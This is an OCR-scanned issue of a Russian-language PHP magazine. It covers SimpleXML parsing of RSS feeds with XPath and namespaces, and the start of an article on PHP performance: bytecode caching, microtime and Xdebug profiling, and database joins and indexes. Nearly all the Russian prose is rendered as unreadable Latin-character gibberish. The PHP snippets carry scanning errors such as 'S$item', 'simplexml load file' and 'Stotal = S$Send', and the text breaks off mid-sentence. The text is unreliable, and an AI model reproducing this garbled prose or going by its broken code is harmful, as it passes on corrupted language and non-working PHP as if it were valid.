<link>http://www.php.net/downloads.php</link>

<description>PHP 5.0 Beta 3 has been released. The third beta
of PHP is also scheduled to be the last one (barring unexpected
surprises) .</description>
</item>
<item>

<title>PHP Community Site Project Announced</title>
<link>http://shiflett.org/archive/19</link>

<description>

Members of the PHP community are seeking volunteers to help
develop the first web site that is created both by the community and for
the community.</description>
</item>
</rss>

Jlucmune 1

Jns  wHauvama co3maauM  HOBBIM  00BbekT SimpleXML. Ecmu
JOKYMEHT  pacIloJIO)KeH Ha  JHUCKe,  HUCIONb3yiTe  (QyHKIHIO
simplexml_load_file('/path/to/file.xml')  wmu  simplexml load_string
($xml) B ciyuae, eciu JOKyMEeHT XpaHuTcst B iepemennoit PHP. Hanpumep,
yTOOBI 3arpy3uth RSS, HanumuTe:

‘$s = simplexml load file('rss-0.91.xml'");

TekcT aneMeHTa AOCTYIICH KaK CBOMCTBO OOBEKTA:

print $s->channel->title . "\n";

PHP: Hypertext Preprocessor

Ecnu B nokyMeHTe ecTh JBa WU 00Jiee DIIEMEHTa OJHOTO YPOBHS,
OHHM TIOMEIIAIOTCS B MacCHMB. B Hamem mnpuMepe TONBKO OIUH
<channel> W nBa amemenTta <items>. [lody4uThs AOCTYI K 3IEMEHTY
<item> MOHO TI0 €r0 HHJICKCY B MaCCHUBE:

print $s->item[0]->title . "\n";

PHP 5.0.0 Beta 3 Released

YToObI HameyaTaTh BCE 3aroJIOBKH, HCHOHL3yﬁTe UK foreach.

foreach ($s->item as S$item) {
print S$item->title . "\n";

PHP 5.0.0 Beta 3 Released
PHP Community Site Project Announced
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Jnsa urenns aTpuOyTOB 3JIeMEHTa UCTIOIB3yHTE MACCHB!

print $s['version'] . "\n";

Hpyrue Bo3moxxkHoctH XML, Hampumep, KOMMEHTapuu H
00paboTKka MHCTPYKIMHA, He mnoaaepxuBaioTcs. JlocTyma K 9STHM
a7eMeHTaM (Ioka) HeT. TeM He MeHee, OCKOJIbKY B OonbpIuHCcTBE XML~
JOKYMEHTOB KOMMCHTapuMM HE HECyT BaXHOW WHQPOPMALUN HIIH
UCTOJIb3yeTCss 00paboTKa UHCTPYKIIMIA, 3TO HEOOJBIIIONW HETOCTATOK.

[louck ¢ ucnionb3o8aHuem XPath

SimpleXML wucnons3yer XPath nmsa BBIOOPKM [HaHHBIX U3
nokymenrta. llomck u meware Bcero TEKCTa BHYTpU dieMeHTa title
OCYIIECTBIISIETCS C IIOMOIIBIO:

foreach ($s->xsearch('//title') as S$title) {
print "S$title\n";

PHP: Hypertext Preprocessor
PHP 5.0.0 Beta 3 Released
PHP Community Site Project Announced

Merton xsearch() ocymecTBiseT mouck B o0bekTe SimpleXML u
BO3BpallaeT MacCUB COBMABLIMX y37oB. 3ampoc XPath mepenmaercs B
napamerpe. B nHamem ciyuae //title naiimer Bce smemeHTHI title BHe
3aBUCUMOCTH OT HX pPacIloiOKeHHS B JepeBe AoKymeHTa. Jlns Toro,
YTOOBI HAaWTH BJIEMEHTHI <title> TodbKo BHYTpH <item™, UCIONb3yiTe //
item/title .

Ecmu BBl XoTHTe y3HaTh Oonbime o XPath, mpouwraiite KHUTY
Ilxona Cumcona “XPath u XPointer” (u3matenbcrBo O'Reilly) mnm ero
crateto Ha XML.com “Top Ten Tips to Using Xpath and XPointer”.
Taxoke B neBsToit rmaBe kaury “XML in a Nutshel” Elliote rusty Harld u
W. Scott Means (m3garensctBo O'Reilly) pacckassiBaercs o XPath, u
oHa cBoOOAHO (OecruratHO) nocTynHA B MHTEpHETE.

HecmoTpst Ha TO, 4TO 3TH MPUMEPHI JOBOJIILHO mpocThie, XPath
OYCHB TOJIC3CH JJIs1 PA0OTHI CO CIIOKHBIMH JOKYMEHTAMH, MOCKOJIbKY BBI
MOXETE CO37[aBaTh W3SIIHBIC 3aMpOChl W MOJyYaTh pe3yJbTAaThl B
yI00HOH (opmMe.

llpocmpaHcmeo umeH XML

SimpleXML nemaer o06pabotky mokymeHToB RSS 1.0 ouens
npoctoii. RSS 1.0 mcmonb3yer npocrpancTBo umeH XML, kortopoe | Maeonorus SimpleXML
MOXKET TPHHECTH HEMHOTO TOJOBHOM OONM TpPH CHHTAKCUYSCKOM | DNIACHT, HTO MHUD MOJDKCH
pasbope. B 3ToM HmpocTpaHCTBE Kaxblil 3J1€MEHT pacroJaraercs mocie | ObITh HPOCTHIM, U HO3TOMY
URL, KOTOpBIii BLICTYIIAET B POJIM UMEHHU NaKeTa. JTo 103BoseT Aenars | OH (SimpleXML)
pasznuuus, Hanpumep, Mexay HTML-anementom <title> u 3nementom | HPUTBOPSETCS, HTO
RSS <title>. MPOCTPAHCTBA IMEH HE
CYILIECTBYET.
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Tenepp Bem CTaHOBATCS Oojee CIOXKHBIMH. Bbl Oomblne He
MOXeTe oOpamarbesi K title, mMockonpKy 3aroloBok 0e3 mpedukca He
o3BoIIsIeT 00pabOTUNKy y3HAThH, Kakoil MMeHHO <title> mmerncs B BUy.
Bor Mormm uMmeTs B BuAy anmeMeHT RSS, HO B TOKyMeHTE MOXET OBITh U
HTML-ter <title>.

B pe3yiabpTare HYXHO MCIOIb30BATH
{http://www.w3.0rg/1999/xhtml}:title mnu  {http://purl.org/rss/1.0}:
title. XML wucmons3yer nBoetoune (i) kKak paszgenurenb mexay URL u
UMCHEM Tera. B TeXHHYeCKOM s3bIKE TaKoe MOJHOE (3aBEpIIEHHOE) UMS
HaspiBaeTcs  “‘qualified name”, waM  cokpamieHHO — “‘gname”.
(HeticTBuTensHo!)

IMockonbky URL ObIBaeT AMHHBIM, BBl MOYKETE COIIOCTABUTH EMY
Ooyee KOpPOTKOE CJIOBO. YacTo Ha JTH 3JIEMEHTHI CCBUIAIOTCS Kak
<xhtml:title> u <rss:title>. [logo0HBIE KOPOTKHE UMEHA TaK)KE HA3BIBAIOT
npeuKcaMu IMPOCTPAHCTBA HMEH. TeM He MeHee, TaKue MPEePUKCH, KaKk
xhtml u rss, He IBISAFOTCS PAKTUUIESCKUMHU MTPOCTPAHCTBAMH MIMEH, a JIUIIIh
cornamenusmMu. Heobxomumo Takxke ckazarh, yTo URL He 00s3aTeIbHO
JIOJDKEH CCBUIAThCS HAa CTPAHMILy CETH, 3TO IMPOCTO JIETKHH CIoco0
CO03/1aBaTh HE KOH(IMKTYIOIINE MEXKITY COOOH MPOCTPAHCTBA HMEH.

Wneonorus SimpleXML rnacut, 4To MUp AOIKEH OBITH MPOCTHIM,
u nodtoMy oH (SimpleXML) npuTBOpsieTcsl, 9TO MPOCTPAHCTBA UMEH HE
cyliecTByeT. ‘I NMOHMMAKr, YTO MHOTHE YHUTATENIM IIOCYUTAKOT TaKoe
peuieHre mpoOJeMbl Xyke camoi mpobnemsl). [lomHHTE, YTO 3TO
SimpleXML. Ecnu BbI OecriokonTech 0 KOHQJIMKTaX MIPOCTPAHCTB UMEH,
ucnons3yiire DOM.

Huoke npuBezieHBI Te K€ JaHHBIC, YTO U BbIlIe, HO B (hopmate RSS
1.0 (onm xpansarcs B daitne rss-1.0.xml):

<?xml version="1.0" encoding="UTF-8"?>
<rdf:RDF
xmlns:rdf="http://www.w3.0rg/1999/02/22-rdf-syntax-ns#"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns="http://purl.org/rss/1.0/"
>
<channel rdf:about="http://www.php.net/">

<title>PHP: Hypertext Preprocessor</title>
<link>http://www.php.net/</link>

<description>The PHP scripting language web site</description>
</channel>
<item rdf:about="http://www.php.net/downloads.php">

<title>PHP 5.0.0 Beta 3 Released</title>
<link>http://www.php.net/downloads.php</link>

<description>

PHP 5.0 Beta 3 has been released. The third beta of PHP is
also scheduled to be the last one (barring unexpected surprises).
</description>

<dc:date>2004-01-02</dc:date>
</item>

Jlucmune 2 (nauvano)
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<item rdf:about="http://shiflett.org/archive/19">

<title>PHP Community Site Project Announced</title>
<link>http://shiflett.org/archive/19</link>

<description>

Members of the PHP community are seeking volunteers to help
develop the first web site that is created both by the community and for
the community.

</description>

<dc:date>2003-12-18</dc:date>
</item>
</rdf :RDF>

Jlucmune 2 (npooondicerue)

B osrom XML-nokyMeHTe NOPUCYTCTBYIOT TpPHU Pa3IAYHBIX
mpoctpancTBa uMeH. [locMoTrpure B Hayalno  JIMCTHHIA, JBa
NPOCTPAHCTBA UMEH MMEIOT SIBHBIE CCBUIKM HAa MpEe(HKCHl. DTO CTpOKa
xmlns:rdf="http://www.w3.0rg/1999/02/22-rdf-syntax-ns#" u
crenyomas 3a Heid. Ouu cBs3piBatoT cootBeTcTByomue URL c rdf u dc.
Bor Mmoxerte HaiiTu snemenTsl U atpuOyThl rdf:RDF, rdf:about, u dc:date
BHYTpPH JIOKyMEHTA.

RDF — 310 “Yet Another XML Spec” (YAXMLS). S we Oyny
YIIIyONSTBhCS B €0 OMHMCAaHHUE 3/1eCh, HO BBl MOXETE y3HATh OOJbIE Ha
carite W3 RDF site u B crarbe Tuma bpas "What is RDF?", na caiite
XML.com. HUznatenbctBo O'Reilly Brimmyctuino kaury o RDF, xoropas
"aspiBaercs “Practical RDE”.

be3 npepukca ocraics TOJIBKO OIIUH 3JIEMEHT
xmlns="http://purl.org/rss/1.0/". 3T0 nepBUYHOE NPOCTPAHCTBO HMEH,
TaK Kak mocie xmlns He CTOMT 1BOeTOuMs. DIeMEeHTHl 0e3 MpeQuKCoB,
Takde Kak item wu title, pacmoioskeHsl BO BCTPOCHHOM MPOCTPAHCTBE
uMeH. Oto ommuue ot RSS 0.91, rme oieMeHTBI HE MOIVIU
pacmonararscs B 17060M IPOCTPAHCTBE UMEH.

J1yist IoucKa 3JIeMEHTOB B MMPOCTPAHCTBE UMEH TIPH HCIIOIb30BaHUH
DOM Heo0XoauMo NMepeKiIovaThcsl Ha HOBBIM HA00p METOI0B, KOTOPBHIM
nepeaeTcsl Ter U npeduKc MpoCTPaHCTBA HMEH.

Kak s ckazam panmee, SimpleXML mpocTo crmyckaeTcss BHU3 IO
IepeBy mokymeHta. Bel moxere pabotath ¢ RSS 1.0 tak xe, kak u B
MIEPBBIX PUMEpax:

foreach ($s->item as S$item) {
print S$item->title . "\n";

PHP 5.0.0 Beta Released
PHP Community Site Project Announced

[Mpobnem HE BO3HMKAET, TOCKOJBKY, HECMOTPS Ha OJIMTENBHOCTH
MeXaHH3Ma MPOCTPAHCTBA HMMEH, B JOKyMEHTE KOHQIMKTOB MMEH HE
MIPOUCXO/INT.
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[lbocmpaHcmeo umeH XML u Xpath.

Tem ne menee, SimpleXML He coBcem mnpoct. CymiecTBYIOT
MOTEHIMATbHbIE TpOOJIEeMBbl CBS3aHHBIE C 3TUM BompocoM. [loaTtomy,
I-ITO61)I Bbl MOI'JIU Pa3/IMYUTh ABA 3JICMCHTA M3 PAa3HbIX NPOCTPAHCTB UMCH
B 3anpoce XPath, cienyer ucnons30BaTh NPePUKCH MPOCTPAHCTBA UMEH.

SimpleXML aBTOMaTHYECKH pPETHCTPUPYET BCE HEBCTPOCHHBIE
npeUKChl MPOCTPAHCTBA HMEH, OJIHAKO BaM CaMHM IPHIETCS
00pabaTeIBaTh MPOCTPAHCTBO UMEH “TI0 yMOIYaHuio”. (DTOT HETOCTATOK
pacripenelieHiss BCTPOCHHOTO MPOCTPAHCTBA WMEH — HeJ0padoTKa
XPath, a me SimpleXML).

[Touck Bcex BXOXIeHU rss:title:

$s = simplexml load file('rss-1.0.xml');
$Ss->register ns('rss', 'http://purl.org/rss/1.0/');
Stitles = $s->xsearch('//rss:item/rss:title');

foreach ($Stitles as S$title) {
print "$title\n";

PHP 5.0.0 Beta 3 Released
PHP Community Site Project Announced

[Mocne 3zarpy3km (aiinma, BpyuHYIO 3aperucTpupyite mnpedukc
npocTpancTBa UMeH Juist http://purl.org/rss/1.0/. Bel BoNbHBI BHIOpAThH
000N mpeduKe, Kakod BaM OOJIbIlIe HPABUTCS, HO ISS— HauOosee
€CTECTBEHHEIN BHIOOD.

Hosriii 3anpoc XPath Temepp BBITIAOWT Kak //rss:item/rss:title
BMECTO TIpocToro //item/title, TIOCKOJNBKY HEOOXOOMM TIpeduKc
MPOCTPAaHCTBA WMEH. HeMHOro CTpaHHO, 4YTO HET BO3MOXKHOCTH
OTNpeNeNUTh MpeUKC MEPBUYHOTO MPOCTPAHCTBA UMEH MO YMOIYAHHUIO
s XPath, HO Tak y»X clOXWIOCh. Jlake ecnu 3MeMeHThl HE HMEIOT
SIBHBIX MPEPHUKCOB B JIOKYMEHTE, MX HYKHO yKa3bIBaTh B 3arpoce XPath.

$s = simplexml load file('rss-1.0.xml');
Ss->register ns('rss', 'http://purl.org/rss/1.0/');
Stitles = $s->xsearch('//rss:item|[

starts-with (dc:date, "2004-01-")]/rss:title');

foreach ($Stitles as S$title) {
print "Stitle\n";

}
PHP 5.0.0 Beta 3 Released

Ber  moxere  ucnomp3oBath  XPath, 4ToOBI  TONMYYHTH
JIOTIOJTHUTENbHbIE AaHHble W3 RSS-daitna. Hanpumep, uToOpl HalWTH U
BBIBECTH BCE AJIEMEHTHI 3a ssHBaph 2004 roxa:

[lepBble BE CTPOKHM OCTANMCh HEU3MEHHBIMH, HO S HM3MEHMII
3anmpoc XPath mms ¢unbrpanmm pesynerata. B XPath, BB Moxerte
MOJTYYUTh TOJMHOXECTBO JJIEMEHTOB OIHOTO YpPOBHS, ITOTpeOOBaB,
YTOOBI OHH yIOBJIETBOPSIIN YCIOBHUIO B KBAaJIPaTHBIX CKOOKaxX ([]).
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B mamem mpumepe Tpebyercs, uToOBI 3yeMeHT dc:date BHyTpu
TeKyIero rss:item HauuHaicsa ¢ cuMBojioB 2004-01-. Eciu starts-with()
BEepHET 3HaueHWe “ucTuHa’, To XPath BKIIOYNT TeKymHi SJIEMEHT B
pe3ynbTaT. 10 — 4acTh cnenudukanuu Dublin Core Metadata, oTcroma
u npedukc dc.

OTOT mpuUMep BBIBEAET TONBKO OJAWH 3aroJIOBOK, ITOCKOJIBKY
anemeHnT Community Site 6611 onmyOnuKOBaH B aexadpe, B TO BpeMs Kak
Beta 3 Brinuia B sHBape.

LornonHumerbHbIe 803MOXHOCMU

SimpleXML  mpemoctaBisieT  HECKOJIbKO  JIOTIOJTHHUTEIHHBIX
(YHKUMI: MOXHO H3MEHATH DJIEMEHTHI WM aTpuOYyThl B JOKYMEHTE,
yYCTaHABIMBash UM HOBBIE 3HaueHMs. [locie 3TOro MOKHO COXpaHUTh
HW3MEHEHHBIH JOKyMeHT B (haitn mnmm B nepemennytro PHP. Kpome Toro,
€CTb  BO3MOXHOCTb IIPOBEPATH MPAaBWIBHOCTL XML-10KyMEHTOB,
ucnonsyst XML Schema.

IMomumo RSS, SimpleXML mnpekpacHo momxoauT uist pasdopa
¢aiinos koHduUTrypanuit U nmpocroro onpoca web-cepsucoB. Kpome toro,
a1 yBepeH, mockombky PHPS5 pasBuBaerca, SimpleXML mnpuoGperer
OONBITYI0 QYHKITHOHAIBHOCTE. ClienTe 3a aHOHCAMH M HACTIaKIalTech
paboroii ¢ SimpleXML.

[loumeyaHus nepesooyuKka

[Mpumepsr u3 cratbu TectupoBanuch Ha PHPS beta 4. B oroit
Bepcuu B Simple XML ObutH BHECEHBI HU3MEHEHHS B CTPYKTYPY OOBEKTA:

* Meron xsearch()nmepenmenoBan B xpath().
* Meron register_ns()ynanex.

* Ilpedukc B 3ampoce xpath() HyKHO YKa3bIBaTh TOJIbKO JUIS
BTOPUYHBIX NpOCTpaHCTB uMeH. (M1 He HyXHO yKa3bIBaTh
atpubyt xmlns gms Hero. Ilo kpaiiHell Mepe mpuMepbl He
HayaJld MpaBWIBHO paboTaTh OO TeX IOp, NOKa S HE YNNI
cpoky xmlIns="http://purl.org/rss/1.0/" u3 ¢atina rss-1.0.xml).

Ecim Bel monw3yerech PHPS beta 3, To Hukakux wu3MEHEHUU
BHOCHUTb HE HYKHO.

Opwurunain cratbu: http://www.onlamp.com/pub/a/php/2004/01/15/simplexml.html
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Noeu

Crniocobbl rnoskiweHUs rpou3sooumeribHocmu,
usnu Kkoada ckopocmse pewaem 8ce

Cryuaemcs, umo om 6e6-npunodicenust mpeoyemcs O4eHb 6bICOKAsL  ABToOp:
ckopocmub. B maxom cnyuae xaxcoas 0emans umeem 3Havenue - Kaxcods
CMPpOKA NPOSPAMMbL, MPeOVIOWAs MHO20 PeCcypCo8, U Kaxicoblll 3anpoc K
basze 0aHHbIX, 3aHUMAIOWULL NPOJOIICUMENbHOE 6peMs. B omoi cmamve  Tlepeson:
Mbl PACCMOMPUM CROCOOBL YBeTUYEeHUsT NPOUIBOOUMENbHOCU 8AULE20
8€0-NPUNOACEeHUS u  peuteHus, Komopvie — NO3804M emy
N0COPEBHOBAMBCA 8 CKOPOCMU C PAKEMOLL.

Leendert Brouwer

Urops JlykanuH [lucas]

Xouy cpa3y NpeAynpeiuTb, UYTO HE BCE COJECPKUMOE ITOU CTaThbu
BIHCHIBACTCS B OOMICTIPHHSTHIE PaMKH. MBI coOupaeMcs caenaTth To, 4T
MOXXET OBITh HETaTUBHO TIPUHATO CTOPOHHUKAMH KJIACCHYECKOTO
MMPOEKTUpOBaHUs TporpamMm. OTHAKO, €CIM BBl BCE €IIe YUTAeTe JTY
CTaThi0, 3TO 3HAYUT, YTO BBl K HUM HE MPHHAIUICKUTE. MTak, HaUHEM C
0030pa pelIeHuii, KOTOpbIE HCIIONB3YIOT WHTEPECHBIE TEXHOJIOTHU U
JIOCTYIIHBI YK€ celdyac KaK Cpeaud CBOOOJHOIO IMPOTPaMMHOTO
o0ecrneveHus, Tak ¥ CPeId KOMMEPUYECKUX MPOrpamM.

KawuposaHue batim-koOa

BBl MOTTH CIBIMIATE O TEXHOJIOTHH, HA3BIBAEMOW KAITUPOBAHUEM
ONTHMHU3HUPOBAHHOTO Kofa. UTO 3TO, M, YTO BaKHEEe, KaK 3TO MOXKET
IIOMOYb CJIEaTh Ball KOJ ObIcTpee?

Kaxnpiii pa3, korma 3amyckaercs PHP-ckpunt, siapo Zend
ONTUMU3UPYET KOJ CKpHUIITa, B pE3yJIbTaT€ YEro TIEHEPUPYETCSH
MalIMHHBIA KOJ, UHAU€ Ha3bIBaCMbI 0aT-KOJOM, KOTOPBIA, B KOHIIE
KOHIIOB, BbINOJIHsETCA. Ilociie 3TOro creHepupoBaHHBIM [JI CKPHUIITA
0aiiT-KoI YHUUTOXKAETCsA. BO3HMKAET 3aKOHOMEPHBIN BOMPOC: MOXKEM JIU
MbI HCIIOJIb30BaTh OJTHAXKIbI CTEHEPUPOBAHHBIN OAlT-KOJ|, €CIIH CKPHIIT C
TOTO BpEMEHH HE U3MEHUIICS?

CoOCTBEHHO, B 3TOM M COCTOWT MEXaHW3M KJIITUPOBAaHUS OaiT-
kona. Kornma ckpunr 3amyckaercsi BiepBble, CTeHEPUPOBAHHBII ISl HETO
0alT-KOJI COXpaHSETCS M BBIIOJIHICTCS HPH MOCJIEAYIONIMX BBI30BaX
3TOr0 CKpUINTA, €CIM OH HE U3MEHWICA C MOMEHTA COXpaHEHHUs OalT-
koxa. Ecnu xe 310 mpowmsonuio, To OyIdeT creHepupoBaH HOBBIA OaiiT-
KOJ, KOTOPBI 3aMEHHUT NPEABIIYIINHA, U TaK Aajiee.

BrinmomHeHHe K3MUPOBaHHBIX 0AWT-KOJIOB BMECTO CAMOTO CKpPHUIITA
MOXKET 3HAYUTEIHLHO YMCHBIIUTh BPEMs €ro BBHINOJHCHUSA. Tak He
SIBJIICTCS. HEOOBIYHBIM YBEJMUYEHUE CKopocTH B 3-4 paza. OOBIYHO
UCTIOJIL3YIOTCS CIEYIONINE PEIICHUS:

* APC — GecruiaTHbI|, C OTKPBITBIMU KOJAMU;

* JonCube — OecrmaTHbI, HO WMEHOIIUNA KOMMEPYECKYIO
JIUIIEH3UIO;
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* Zend Accelerator — IUIaTHBIM ¥ UMEHOIIUNA KOMMEPUYECKYIO
JUIEH3HWI0, HO TO-HACTOsAIIeMy Xopommid (0pu1 BeIOpaH B 2003
roxy uurtatensmu International PHP Magazine mydmum cpemu
IPOrpaMM JAJisl KILUIUPOBaHUs 0aiiT-KOI0B).

Eciu sxe BbI XOTHTE HCMOJB30BATh B KAYECTBE aAlbTCPHATHUBBI CBOM
COOCTBEHHBIII MEXaHMU3M K3LIMPOBAHUS, BbI MOXKETE NPOYHUTATH 00 3TOM
nonpoonee B crarbe Jxopmxka Illnoccuarnma (George Schlossnagle)
“APC — BuyTpu Mexanu3ma kammpoBanusa” (“APC — Compiler Cache
Internals™), omyOsukoBaHHONW B MakickoM Homepe International PHP
Magazine 2003 roxa.

[pogbaurnuHea

[MpodaiinuaroM Koja Ha3bIBacTCs OIpeIesieHHE TOTO, HACKOJIBKO
OBICTPO BBITIOJHSCTCS KAKOW-JIMOO €ro y4acTOK W KaK MHOTO PECypCcOB
oH wucnonb3yeT. CHavyama MBI PacCMOTPUM, KaK 3TO MOXKHO CHAEaTh
OYeHb TPOCTHIM CIOCOOOM, a 3aTeM IepeMecTuMcsi K Oojee
MIPOABUHYTHIM PEIIEHUSM, TTO3BOJISIIOIIMM BBITIONHATH Ooyiee TiryOoKuit
npodaiiuHr.

CaMmpIif IPOCTOH CITOCO0 — 3aMEPHUTh BpeMs TepeT BEITIOTHEHUEM
nccieryeMoro OJoka Koja W TOCIie HEro, a 3aTeM BhIUECTh IEPBOE U3
BTOPOTO - BBI TIOJYYHTE BPEMS BBITIOJHEHHS 3TOTO Oyioka Koja. JImctuHr
1 moKa3bIBaeT, KaK 3TO MOXET OBITH CAEIAHO.

<?php
function get formatted microtime () {
list (Susec, S$sec) = explode(' ', microtime());

return Susec + Ssec;

}

Sstart = get formatted microtime();
for($i = 0; $i < 100; S$i++) {
echo 'PHP mua xusHu!';

}

Send = get formatted microtime ();

Stotal = S$Send - S$start;

echo '<br><b>Bpewms BuIIOJIHEHUS OGjoka: '.round(Stotal, 6).' cerxyHn</b>';
>
Jlucmune 1

B ckpunre o¢yHkuua get formatted microtime BO3-
BpamaeT CyMMYy TEKYIIMX CEeKyHA W MWUIUCEKYH], IIOCIeIHUE
WCTIOJB3YIOTCS I TONy4YeHHus Ooliee TOYHOTO pe3ylibTara. 3HAveHHE,
BO3BpallicHHOe (QyHKIIMEH, mpucBanBaeTcs nepeMeHHoi $start. Takum
00pa3oM 3alOMHUHAeTCsl BpeMsi O Hayvaja BBITIOJIHEHHUS HUCCIEeIyeMOTro
Omoka koja. 3aTeM HWAET COOCTBEHHO HCCIEIyEeMBbId KOJ — 3/IeCh 3TO
ki, nedaraomyii “PHP mis sxxus3an!” 100 pa3. Ilocme HETro MbI CHOBa
3alIOMHHAEM TEKYIIee BPEMsl, COXpPaHHUB ero B nepeMennoi end. UToOsr
BBIYHCIIHTH BPEMS, KOTOPOE MOTPeOOBaJIOCh Ha BBIMTOIHEHHE 3TOTO OJI0Ka
KOJa, MBI MOKEM BBIYECTh Sstart u3 $Send. DTO M €CTh CaMbIi
POCTOM croco0 mpodaiiiuHra.
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Ecim xe Bam TpeOyercss Oompimast (HyHKIIMOHAIBHOCTH, HYeM
IIPOCTOE OTpEJeNIEHNe BPEMEHHU BBHIIOTHEHHS OJOKa KOJa, BBl MOXKETE
HCTIONB30BaTh kiace Profiler m3 makera PEAR Benchmark).

Ho B Hammiem pacnopsiKeHHH IMEETCsl ellle HECKOJIBKO dJIeTaHTHBIX
pemenuii. boxpmmHCTBO Tporpamm st otnaaku PHP  (xopommmm
MPUMEPOM TaKOro OTIaguuka sBisiercss Xdebug) MOrYT BBITOJIHSTH
npogaiimmar. Xdebug — 310 moayns s PHP, manucannsiii Jlepukom
Perancom (Derick Rethans) u ymeromuii ropazno Oofbliie, 4eM MpoCcToe
U3MEPCHHE BpPEMCHU  BBINOJHEHUs Onoka koma. FEcmu  PHP
CKOMITWJIUPOBAH C 3THM MOJYJEM, TO BBl CMOXKETE HCIOJIb30BATh TaKHUe
(hyHKIHH, Kak xdebug_start trace, xdebug_stop _trace,
xdebug_dump_function trace, KOTOpbIE NPENOCTaBAT BaM IMOJEC3HYIO
nHpopMaImio 00 uccaeayeMoM OJIoKe KOoAa, TaKylo KaK HMCIOJIb30BaHUE
MaMsATH 32 ONpeZesIeHHOE BpeMs, KOJMYECTBO BBI30BOB OIpEIEICHHOMN
(hyHKIIMHE ¥ HOMEpa CTPOK, Ha KOTOPBIX ATO MPOU3OILIO, M TaK Jajee. 3a
JIOTIONTHUTENbHON mH(popMarmeit o Xdebug Bl Moxere oOpaTHThCA K
http://www.xdebug.org/docs-profiling.php, u moBeppTe, e€ciu BHI
Bkimounte Xdebug B CBOHM apceHal, TO y Bac He OyJeT MOBOJa MOXKaJIeTh
00 3TOM, €cClli BBI MO-HACTOSIIEMY 3a00THUTECH O MPOU3BOAUTEIBLHOCTH
BallIero KoJja.

KoneuHo, BBl MOXKET€ HCIIOJIB30BAaTh JPYTHe IPOrpaMMBbl s
OTJIagKku W TmpodainuHra, Hampumep, BKIoueHHylo B Zend Studio, a
takke DBG u APD.

YckopeHue pabomsi ¢ 6a3ou 0aHHbIX

CymiecTByeT MHOTO CIIOCOOOB yCKOpeHHs paboTel c 0a3oit
JaHHBIX. HeKoTophle U3 HUX MOTYT MOKa3aThCs HEOOBIYHBIMU WIIU JIAXKE
IKCTpEMalbHBIMH, HO OHH OINpaBIBIBAIOT ce0s, eciu HeoOXxoxuma
BBICOKasl TMPOU3BOAUTENHHOCTD. 1 HE TPU3BIBAI0 BaC HUCIOJIB30BATH WX
BCerja M BE3Je, HO OYEBUIHO, YTO BBl JIOJKHBI IOMHHTh O HHUX H
NPUMEHSATH B ClIydae HEOOXOJUMOCTH.

Ces3bieaHue mabnuy

Cpsi3piBaHre TaOJIMIl KCIIOJIB3YETCSI IMOBCEMECTHO B paboTe ¢
Oasamu JaHHBIX U IIOMOTacT n30aBUTHECS OT 3HAYUTEIHHOIO KOJIMYECTBA
mporpaMMHOro kojaa. OIHAaKO, OHO HCIOJIB3YET PECypechl - MamsTh U
BpeMs. CHTyalud, KOTJa CBSI3BIBAIOTCS OOJIBIIME TaOIUIlbl, YacTo
SIBIISIFOTCSI UCTOYHUKOM MPOOJIEM ¢ MPOU3BOIUTEIHLHOCTBIO.

Koraga mpousBomuTcs cBs3bIBaHWE TaOmuu, cepsep 0a3 JaHHBIX
MOMEIIAET BPEMEHHYIO PE3YJIbTHUPYIOIIYI0 TaOnuily B ONEpaTHBHYIO
NaMsATh, U €CIIM CBSA3bIBAEMBIE TAONUIIBI OOJBIINE, TO OHA PACXOIyEeTCs
Yype3BbIYaifHO OBICTpO. BBl Mornm crankuBatbes ¢ ommbOkod MySQL
“Table is full”— 3TO omuH W3 BO3MOXKHBIX PE3yJbTATOB ONMUCAHHOU
npoOieMbl. YTOOBI MPENOTBPAaTHTh €€, s MPUHYIUTEIBHO HCIOIB30Bal
COXpaHEHHE BPEMEHHBIX TaOIMIl Ha JKECTKUH TUCK BMECTO ITOMELIEHUS
UX B OIIEPAaTUBHYIO IIaMsATh, TaK KaK €€ IIPOCTO HE XBATAJIO.

Xotsi coBpemennsle Bepcurn MySQL xopomio crpaBisroTcst ¢
MOOOHBIMY CUTYaLUSIMH CaAMOCTOATENIBHO, CBA3BIBAHUS TAOJIHII BCE €lIe
HCIONB3YIOT JOBOJBHO MHOIO OIEPaTHMBHOM MaMSITH, 4YTO YacTo
CYIIECTBEHHO 3aMeuIsieT padoTy.
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Korma Tpebyercs BBICOKasS  TPOU3BOIUTEIBHOCTH, MOXKET
OKa3aThCS JIydIlle W30aBUTHCA OT CBS3BIBAHWK TaONWI] W TIEPEHECTH
noruky cBszpBaHui U3 SQL-3anpocoB B PHP-kox. Ctout 3ametuTs, 4TO
TaKkoe pelieHne He TOJKHO CTAHOBHTHCSA OOBIYHOM mpakTukoi. He cTrout
OKUATh, YTO Y BaC BOSHUKHYT MPOOJIEMBI C TTPOU3BOAUTEIHHOCTHIO TPU
CBsi3bIBaHUM Tabnwmi, coxepxkamux 5000 3ammcei, eciam moceTuTeneit
caiiTa HE TaKk MHOIO, HO KOIJla BBl OKaXXETEChb B CHUTyallUd, KOIJAa
KOJIMYECTBO TOCETUTENEH PEe3KO YBEIUYUTCSA, MOXET OKa3aThCA
MPaBUWIHHBIM NIEPEHOC JIOTUKH CBSA3BIBAHUS B POTPAMMHEBIN KOJI.

Ecau xe BBl Bce €€ HCIIOJIB3YCTC CBA3BIBAHUSA 6OHI)IHI/IX Ta6J'II/IH,
NPOTECTHPYHTE Ball KOJ, IIEPEeMECTHTE cepBep 0a3 JaHHBIX Ha
OTJICJIBHBII;‘I JUCK WM KOMIIBIOTED H, IO BO3MOXKHOCTH, I/ICHOJIL3YI7[TC
permmkanuio  0a3  gaHHBIX.  Takke MOXKET OBITh  ITOJIC3HBIM
ucrionb3oBanue omeparopa EXPLAIN s3eika SQL — oOH MO3BOJISET
y3HaTh, KakUM oOpazoMm OyaeT Tpou3BeleHa BBHIOOpKA, Kakas Oyzer
MIPOM3BE/IeHA ONTUMU3AIINS, U KaKHe HHIECKCHI OyIyT HCIOIb30BaHBI.

UHOeKchl

WHaeKChl YCKOPSIOT OIEpPalldi IMOMCKA, €CJAM OHHM HCIOJIb3YHOTCS
nonobaromuM  obpazom.  OnHako, WHOTAA  NPOTPAMMUCTBI U
aJIMUHHUCTPATOPbl 0a3 JaHHBIX 3a0BIBAIOT, YTO HMHICKCHI HEOOXOJUMBI
TOJILKO JIJISi TOTO, 4TOOBI YTOOBI clienarh ObICTpee BHIOOpKH U3 0a3bl
JTAaHHBIX, & HE BCTABKH JTaHHBIX, YAAJICHUS U OOHOBIICHHS.

Ontumusupyst Bamy 0a3y JaHHBIX, BaXXHO pEIIUTh, Kak
npuioxkeHue Oyner paborate ¢ Heil. Ecmu 90% Bpemenu OymyT
